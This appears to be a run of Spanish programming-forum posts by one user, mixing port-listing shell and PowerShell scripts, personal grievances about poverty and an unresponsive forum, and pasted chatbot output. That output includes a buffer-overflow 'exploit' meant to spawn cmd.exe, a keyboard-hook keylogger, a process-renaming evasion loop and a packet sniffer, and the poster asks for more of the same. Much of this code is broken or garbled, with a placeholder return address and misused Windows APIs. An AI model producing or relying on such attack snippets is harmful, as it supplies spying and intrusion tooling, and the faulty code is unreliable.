En Linux sería algo así, por ejemplo:

#!/bin/bash
 
echo "Puertos TCP abiertos:"
netstat -tuln | grep "tcp" | while read line; do
    port=$(echo $line | awk '{print $4}' | awk -F ':' '{print $NF}')
    pid=$(echo $line | awk '{print $7}' | awk -F '/' '{print $1}')
    process=$(ps -p $pid -o comm=)
    exe=$(readlink /proc/$pid/exe)
    cwd=$(readlink /proc/$pid/cwd)
    cmdline=$(cat /proc/$pid/cmdline)
    status=$(cat /proc/$pid/status | grep "State:" | awk '{print $2}')
    cpu_usage=$(top -b -n 1 -p $pid | grep $pid | awk '{print $9}')
    memory_usage=$(pmap -x $pid | tail -n 1 | awk '{print $3}')
    user=$(awk -F: '$3 == '$(stat -c %u /proc/$pid/exe)' { print $1 }' /etc/passwd)
    echo "Puerto: $port - Proceso: $process (PID: $pid) - Archivo: $exe - Directorio de trabajo: $cwd - Comando: $cmdline - Estado: $status - Uso de CPU: $cpu_usage% - Uso de memoria: $memory_usage - Usuario: $user"
    echo "Archivos abiertos por el proceso:"
    ls -l /proc/$pid/fd
    echo "Árbol de procesos:"
    pstree -s $pid
    echo "----------------------------------------------------"
done
 
echo "Puertos UDP abiertos:"
netstat -uln | grep "udp" | while read line; do
    port=$(echo $line | awk '{print $4}' | awk -F ':' '{print $NF}')
    pid=$(echo $line | awk '{print $7}' | awk -F '/' '{print $1}')
    process=$(ps -p $pid -o comm=)
    exe=$(readlink /proc/$pid/exe)
    cwd=$(readlink /proc/$pid/cwd)
    cmdline=$(cat /proc/$pid/cmdline)
    status=$(cat /proc/$pid/status | grep "State:" | awk '{print $2}')
    cpu_usage=$(top -b -n 1 -p $pid | grep $pid | awk '{print $9}')
    memory_usage=$(pmap -x $pid | tail -n 1 | awk '{print $3}')
    user=$(awk -F: '$3 == '$(stat -c %u /proc/$pid/exe)' { print $1 }' /etc/passwd)
    echo "Puerto: $port - Proceso: $process (PID: $pid) - Archivo: $exe - Directorio de trabajo: $cwd - Comando: $cmdline - Estado: $status - Uso de CPU: $cpu_usage% - Uso de memoria: $memory_usage - Usuario: $user"
    echo "Archivos abiertos por el proceso:"
    ls -l /proc/$pid/fd
    echo "Árbol de procesos:"
    pstree -s $pid
    echo "----------------------------------------------------"
done
 

En Windows parece que algo así. En Powershell, que no encuentro el Código Geshi ese, he puesto el .NET como primo cercano:

# Obtener información sobre los puertos TCP abiertos
$tcpPorts = Get-NetTCPConnection | Where-Object { $_.State -eq 'Listen' }
foreach ($port in $tcpPorts) {
    $pid = $port.OwningProcess
    $process = Get-Process -Id $pid
    $exePath = $process.Path
    $cwd = Split-Path -Path $exePath -Parent
    $cmdline = Get-WmiObject Win32_Process -Filter "ProcessId = $pid" | Select-Object -ExpandProperty CommandLine
    $status = Get-WmiObject Win32_Process -Filter "ProcessId = $pid" | Select-Object -ExpandProperty Status
    $cpuUsage = $process.CPU
    $memoryUsage = $process.WorkingSet
    $user = $process.GetOwner().User
    Write-Host "Puerto TCP: $($port.LocalPort) - Proceso: $($process.ProcessName) (PID: $pid) - Archivo: $exePath - Directorio de trabajo: $cwd - Comando: $cmdline - Estado: $status - Uso de CPU: $cpuUsage% - Uso de memoria: $memoryUsage - Usuario: $user"
    Write-Host "Archivos abiertos por el proceso:"
    Get-Process -Id $pid | Get-ProcessHandle
    Write-Host "Árbol de procesos:"
    Get-WmiObject Win32_Process -Filter "ParentProcessId=$pid" | Format-Table ProcessId, Name, CommandLine -AutoSize
    Write-Host "----------------------------------------------------"
}
 
# Obtener información sobre los puertos UDP abiertos
$udpPorts = Get-NetUDPEndpoint | Where-Object { $_.State -eq 'Listen' }
foreach ($port in $udpPorts) {
    $pid = $port.OwningProcess
    $process = Get-Process -Id $pid
    $exePath = $process.Path
    $cwd = Split-Path -Path $exePath -Parent
    $cmdline = Get-WmiObject Win32_Process -Filter "ProcessId = $pid" | Select-Object -ExpandProperty CommandLine
    $status = Get-WmiObject Win32_Process -Filter "ProcessId = $pid" | Select-Object -ExpandProperty Status
    $cpuUsage = $process.CPU
    $memoryUsage = $process.WorkingSet
    $user = $process.GetOwner().User
    Write-Host "Puerto UDP: $($port.LocalPort) - Proceso: $($process.ProcessName) (PID: $pid) - Archivo: $exePath - Directorio de trabajo: $cwd - Comando: $cmdline - Estado: $status - Uso de CPU: $cpuUsage% - Uso de memoria: $memoryUsage - Usuario: $user"
    Write-Host "Archivos abiertos por el proceso:"
    Get-Process -Id $pid | Get-ProcessHandle
    Write-Host "Árbol de procesos:"
    Get-WmiObject Win32_Process -Filter "ParentProcessId=$pid" | Format-Table ProcessId, Name, CommandLine -AutoSize
    Write-Host "----------------------------------------------------"
}
 
 

No he subido la landing page. Pero es un proyecto web que está badtante avanzado. No acabado, pero avanzado. Es este:

https://github.com/allnulled/starter-front-oldschool

En relación a qué sentido tiene. Si tenemos browserify, webpack, eslint, tenemos grunt, gulp, etc. ¿Por qué volver atrás? Tenemos import/export. Tenemos NPM. Podemos usar módulos ES6. El web ha evolucionado mucho. ¿Por qué volver a atrás?

Es mi pregunta. Si alguien sabe leer HTML y JS, ¿puede decirme qué sentido tiene quitarse de todas esas mejoras que te ofrecen las nuevas tecnologías web?

Puedes navegar por el código. Mucho del javascript moderno lo evita. ¿Tiene sentido para alguien más hacer esto? ¿Volver a atrás? ¿Evitar sus herramientas, que son muchas?

Los frameworks van a seguir avanzando. Angular, Vue, React no se van a congelar, seguirán obsolesciendo versiones. Versiones válidas, pero siempre mejorables.

SystemJS ya lo estaba corrigiendo, a su modo. Desde la entrada de ChatGPT, siento que por fin puedo tomar cierto control del front.

¿Tiene sentido para alguien más? Para mí, sí, ahora. Antaño era: si piden Java, Java. Ahora es: si piden Angular v100, cuidado. Cuidado, porque con Java serían 1000 lo que con Node.js serían 10 líneas. Igual con Angular pasa lo mismo, total, son los reclutadores los que lo piden, y ellos no saben una *****. Los ingenieros que toman esas decisiones, sí. Pero con esos, es raro hablar.

Siendo pobre, digo. Y no teniendo contactos.

Bueno. Entonces... qué hay que hacer para formar comunidad. Yo solo quiero un punto de luz que atraiga a programadores. El problema va más allá de no poder resolver una duda, pero suele empezar ahí. El problema es que desarrollas al final completamente desligado del mundo. Incluso parece que se haya convertido en un juego, porque dinero no te da, pero al menos te entretiene, te desafías. NO ES CIERTO. Estoy apunto de aportar soluciones que el mercado no facilita. Soluciones técnicas más eficientes y blablablablabla NO LO VA A VER NADIE, DA IGUAL LO QUE HAGA.

Machacador, yo fui humilde. Y me robó el MIT. Conoces Scratch? Pues sus sintaxis están basadas en las de NaturalScript. Y NS del lenguaje natural. A mí lo de ser humilde solo me ha servido para que me ninguneen. Además, son muchos años sin ingresos, se vive como una tortura, al final acabas faltando el respeto, no teniendo protocolos ni formas, porque sabes que ni de malas, ni de buenas. Así que no, la amabilidad ni abre puertas, ya te lo digo yo, son los cojones de la gente que te abren la puerta, y cuandi eres el negro, ni eso. Perdí el control, son muchos años. Ojalá este tedtimonio sirva para entender el daño irreparable que sufre una persona que ha sido y sigue siendo bullingueada por la ley, porque el empresario no está obligado a contratar porque va a su propio riesgo. Es la ley la que me tiene así. Sábelo, fui humilde, y solo querían hacerme más pequeño.

Si lo dices por las preguntas, son importantes algunas. Otras es para saber si hay alguien. La de las REST es importante. La organización humana depende de APIs REST. Mejires APIs REST, mejir organizaxión. Y yo sé que es la organización lo que está podrido. Es el hecho de que 4 se lleven el 99%. O que escojan el 99% de las leyes, un escaso 0.0%. Es patético, son números, es una organización numéricamente fascista. Pero supongo que como lo dixe un pobre, no sirve.

No sé. Y después de esas preguntas, tengo más preparadas, más importantes. Pero bueno, llevamos añis solo, ya no importa tanto. Simplemente, verás que cada vez más, me importa menis lo que me digan, yo tengo que hacer mis pruebas sociales igual. Te gusten o no, tengi que testear las posibles salidas a esta situaxión. De pobreza extrema sostwnida. Y de leyes nazis contra mí y mi amor a la marihuana.

A ver. Lo del dinero ha sido un comentario. Ni siquiera sé si pagaban. Pero antes al cabo de un día alguien te había respondido. Típicamente, que te hagas tú mismo los deberes. Pero a los días alguien decía algo, joé. Qué ha pasado, si en la webdelprogramador no puedes ni registrarte. Qué está pasando.

Gracias, compañero por responder. Antes no era así, antes los delegados de cada subforo luchaban por responder más y mejor que los usuarios. Y no les pagaban, por pasión.

No sé. ChatGPT está bien, pero es insuficiente para algunas cosas, además que falla.

Por otro lado, soy un poco rudo por internet, y a lo mejor no caigo bien. Entonces entiendo que no se me responda, por acritud personal. Si es eso, pues está birn saberlo también.

Es un momento truculento en la informática y en la programación. Estaría bien que las personas aprendiéramos a intercambiar información de manera productiva frente a los nuevos escenarios, info fresca. Y un foro está bien porque un chat da pie a más inmediatez, y eso es menos reflexión.

Pero bueno, yo qué sé. Yo qué sé, habrá que conformarse con vivirlo en asíncrono.

 A ver, llevo haciendo preguntas importantes en el foro este y nadie responde.

Quiero saber por qué. Realmente no hay nadie. O va de enseñar algo. O cómo.

Sinceridad.

Sí, WP + WooCommerce es una solución gratuita.

Sí, es cierto, es ilegal no cifrarlos.

He estado hablando con ChatGPT. Para entender un Buffer Overflow. Mi pregunta es si este código es correcto, y qué son los caracteres sueltos que hardcodea en hexadecimal.

Esto decía el bicharrak.


Mis disculpas por la confusión. Aquí tienes un ejemplo de un programa vulnerable en C para Windows que sufre de un desbordamiento de búfer y su correspondiente exploit que ejecutará una shell como payload:

Programa vulnerable (vulnerable.c):

#include <stdio.h>
#include <string.h>
 
void funcion_vulnerable(const char *entrada) {
    char buffer[10];
    strcpy(buffer, entrada);
    printf("Buffer: %s\n", buffer);
}
 
int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Uso: %s <entrada>\n", argv[0]);
        return 1;
    }
 
    funcion_vulnerable(argv[1]);
 
    return 0;
}
 

Exploit (exploit.c):

#include <stdio.h>
#include <string.h>
#include <windows.h>
 
// Función maliciosa que se ejecutará
void codigo_malicioso() {
    // Ejecutar CMD.exe
    system("cmd.exe");
}
 
int main() {
    // Crear un payload que contiene el código malicioso
    char payload[100];
    memset(payload, 'A', sizeof(payload)); // Llenar el payload con caracteres 'A'
 
    // Sobrescribir la dirección de retorno con la dirección de la función maliciosa
    // Suponiendo que la dirección de la función maliciosa es 0x12345678
    memcpy(payload + 90, "\x78\x56\x34\x12", 4); // Little-endian
 
    // Ejecutar el programa vulnerable con el payload como entrada
    // Suponiendo que el programa vulnerable se llama "vulnerable.exe"
    // y está en el mismo directorio que este exploit
    char comando[200];
    sprintf(comando, "vulnerable.exe %s", payload);
    system(comando);
 
    return 0;
}
 

Para compilar ambos programas en Windows, puedes utilizar un compilador de C como MinGW. Por ejemplo, desde la línea de comandos de Windows:

```
gcc vulnerable.c -o vulnerable.exe
gcc exploit.c -o exploit.exe
```

Luego, puedes ejecutar el exploit para aprovechar la vulnerabilidad en el programa vulnerable y ejecutar una shell:

```
exploit.exe
```

¿Esto es un keylogger a bajo nivel?

#include <windows.h>
#include <stdio.h>
 
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            KBDLLHOOKSTRUCT *pKey = (KBDLLHOOKSTRUCT *)lParam;
            printf("Tecla pulsada: %d\n", pKey->vkCode);
        }
    }
 
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
 
int main() {
    // Instalar el gancho de teclado
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    if (hook == NULL) {
        printf("Error al instalar el gancho de teclado.\n");
        return 1;
    }
 
    // Mantener el programa en ejecución
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0) > 0) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
 
    // Desinstalar el gancho de teclado antes de salir
    UnhookWindowsHookEx(hook);
 
    return 0;
}
 

¿Y esto, es un proceso de nombre travieso?

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
 
int main() {
    srand(time(NULL)); // Inicializar la semilla para generar nombres aleatorios
 
    while (1) {
        // Generar un nuevo nombre aleatorio para el proceso
        char nuevo_nombre[256];
        sprintf(nuevo_nombre, "Proceso_%d", rand());
 
        // Obtener el identificador del proceso actual
        DWORD id_proceso = GetCurrentProcessId();
 
        // Obtener el identificador del proceso
        HANDLE h_proceso = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_SET_INFORMATION, FALSE, id_proceso);
 
        if (h_proceso != NULL) {
            // Cambiar el nombre del proceso
            if (!SetProcessDEPPolicy(0)) {
                printf("Error al cambiar el nombre del proceso. Código de error: %d\n", GetLastError());
                return 1;
            }
 
            // Restaurar el nombre del proceso utilizando un método de bajo nivel
            HMODULE kernel32 = GetModuleHandleA("kernel32.dll");
            if (kernel32 != NULL) {
                FARPROC proc = GetProcAddress(kernel32, "SetProcessInformation");
                if (proc != NULL) {
                    ((BOOL(WINAPI *)(HANDLE, DWORD, PVOID, DWORD))proc)(h_proceso, 0x1d, nuevo_nombre, strlen(nuevo_nombre) + 1);
                }
            }
 
            // Cerrar el handle del proceso
            CloseHandle(h_proceso);
        } else {
            printf("Error al obtener el identificador del proceso. Código de error: %d\n", GetLastError());
            return 1;
        }
 
        // Esperar un segundo antes de cambiar el nombre nuevamente
        Sleep(1000);
    }
 
    return 0;
}
 

No lo sé. ¿Lo son? ¿Qué otras cosas se pueden hacer? Mmmm...

¿Interceptar todo el tráfico?

#include <stdio.h>
#include <pcap.h>
 
void procesar_paquete(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
    printf("Paquete capturado, longitud: %d\n", header->len);
}
 
int main() {
    pcap_t *handle;
    char errbuf[PCAP_ERRBUF_SIZE];
 
    // Abrir la interfaz de red para capturar
    handle = pcap_open_live("\\Device\\NPF_{A6D38AA9-CCE1-49B9-BC0C-2B3C79E349E1}", 65536, 1, 1000, errbuf);
    if (handle == NULL) {
        fprintf(stderr, "Error al abrir la interfaz: %s\n", errbuf);
        return 1;
    }
 
    // Compilar y aplicar el filtro (opcional)
    struct bpf_program fp;
    char filter_exp[] = "ip"; // Filtro de ejemplo para capturar paquetes IP
    if (pcap_compile(handle, &fp, filter_exp, 0, PCAP_NETMASK_UNKNOWN) == -1) {
        fprintf(stderr, "Error al compilar el filtro: %s\n", pcap_geterr(handle));
        return 1;
    }
    if (pcap_setfilter(handle, &fp) == -1) {
        fprintf(stderr, "Error al aplicar el filtro: %s\n", pcap_geterr(handle));
        return 1;
    }
 
    // Capturar y procesar paquetes
    pcap_loop(handle, 0, procesar_paquete, NULL);
 
    // Cerrar el manejador de captura
    pcap_close(handle);
 
    return 0;
}
 
 

No sé si funcionarán. ¿Más del estilo?